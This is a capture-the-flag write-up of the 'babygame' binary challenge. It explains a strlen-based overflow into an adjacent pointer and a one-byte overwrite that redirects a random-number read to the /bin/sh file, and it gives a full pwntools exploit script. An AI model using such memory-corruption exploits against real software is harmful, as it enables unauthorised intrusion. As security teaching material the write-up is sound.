The binary is relatively simple with 4 options. The 2 obvious options are `1. Set Username` and `2. Print Username`. If you put the binary in Ghirda, you'll find some other options too: 
![](https://imgur.com/ZQE2O8r.png)
Basically, if you type in `1337`, you'll play a "game".
If you play the game normally, the binary will read 4 bytes from `/dev/random` and make you compare against it. Obviously, we can't guess this number with any reliability (that's 0 to 4,294,967,295).
In the beginning of the binary, it asks for your name and stores your name in a location right before the `/dev/random` string pointer:
```pwndbg> x/32xg &NAME0x5555555580a0 <NAME>:  0x20454d414e20594d      0x000a424f422053490x5555555580b0 <NAME+16>:       0x0000000000000000      0x00000000000000000x5555555580c0 <RANDBUF>:       0x0000555555556024      0x00000000000000000x5555555580d0: 0x0000000000000000      0x00000000000000000x5555555580e0: 0x0000000000000000      0x000000000000000...```
`NAME` is 32 bytes long. 
You can also change your name. The binary checks how many characters to read from stdin by running `strlen` against the current `NAME`.
Using this information, you can create a `NAME` that's 32 bytes long and when you change your name, it will read into `RANDBUF` and instead of getting 32 bytes, it can get up to 38 bytes, overwriting `RANDBUF`.
Since PIE is enabled, we can't simply change `RANDBUF` to point to a user supplied string, unfortunately.
However, we can look for all other strings around `RANDBUF`:
```pwndbg> x/16s 0x00005555555560240x555555556024: "/dev/urandom"0x555555556031: "Invalid choice."0x555555556041: "1. Set Username"0x555555556051: "2. Print Username"0x555555556063: "> "0x555555556066: ""0x555555556067: ""0x555555556068: "What would you like to change your username to?"0x555555556098: "rb"0x55555555609b: "guess: "0x5555555560a3: "/bin/sh"0x5555555560ab: ""0x5555555560ac: "\001\033\003;`"0x5555555560b2: ""0x5555555560b3: ""0x5555555560b4: "\v"```
The only string here that's a "file" that is valid to read from is actually `/bin/sh`. 
We can change the 1 last byte from the `RANDBUF` pointer from `24` to `a3` and `RANDBUF` will then point to `/bin/sh` (which has a known first 4 bytes).
This is a one-byte-overwrite.
This solution is alright but it's not reliable. The reason why is because `strlen` will usually return 38 bytes and then `fread()` will ask for 38 bytes exactly. It won't read less. Therefore, the only time this will work is if `strlen` returns 33 bytes (32 bytes for the `NAME` + 1 byte overwrite). This only happens if by chance the 2nd to last byte of `RANDBUF` is `NULL` or `0x00`. The last hex will always be `0x0` but the first hex ranges from `0x0` to `0xF`. This is a 1/16 chance of happening. Despite this, it will work.
Once you get lucky and hit the 1/16 chance, you can run the game with option `1337`. The first 4 bytes of `/bin/sh` in integer format is `1179403647`. Then you get a win:
![](https://imgur.com/Cx4Wkbk.png)
Script (I ran it against the CTF server like 20 times before getting a win):
```python3#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template babygamefrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('babygame')
# Many built-in settings can be controlled on the command-line and show up# in "args".  For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.GDB:        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak mainbreak gamecontinue'''.format(**locals())
#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    Partial RELRO# Stack:    Canary found# NX:       NX enabled# PIE:      PIE enabled
io = start()
def play_game(guess):    io.sendlineafter(">", b"1337")    io.sendlineafter("guess: ", guess)
def change_user(new_user):    io.sendlineafter(">", b"1")    io.sendafter("change your username to?", new_user)    io.recvuntil("1.")
io.sendafter("what is your name?", cyclic(0x20))new_user = fit({0x0: b"/dev/zero\x0a", 0x20: b"\xa3"})change_user(new_user)
# Works 1/16 chance. Requires the 2nd to last byte of RAND to be a null byteplay_game(str(1179403647))
io.interactive()```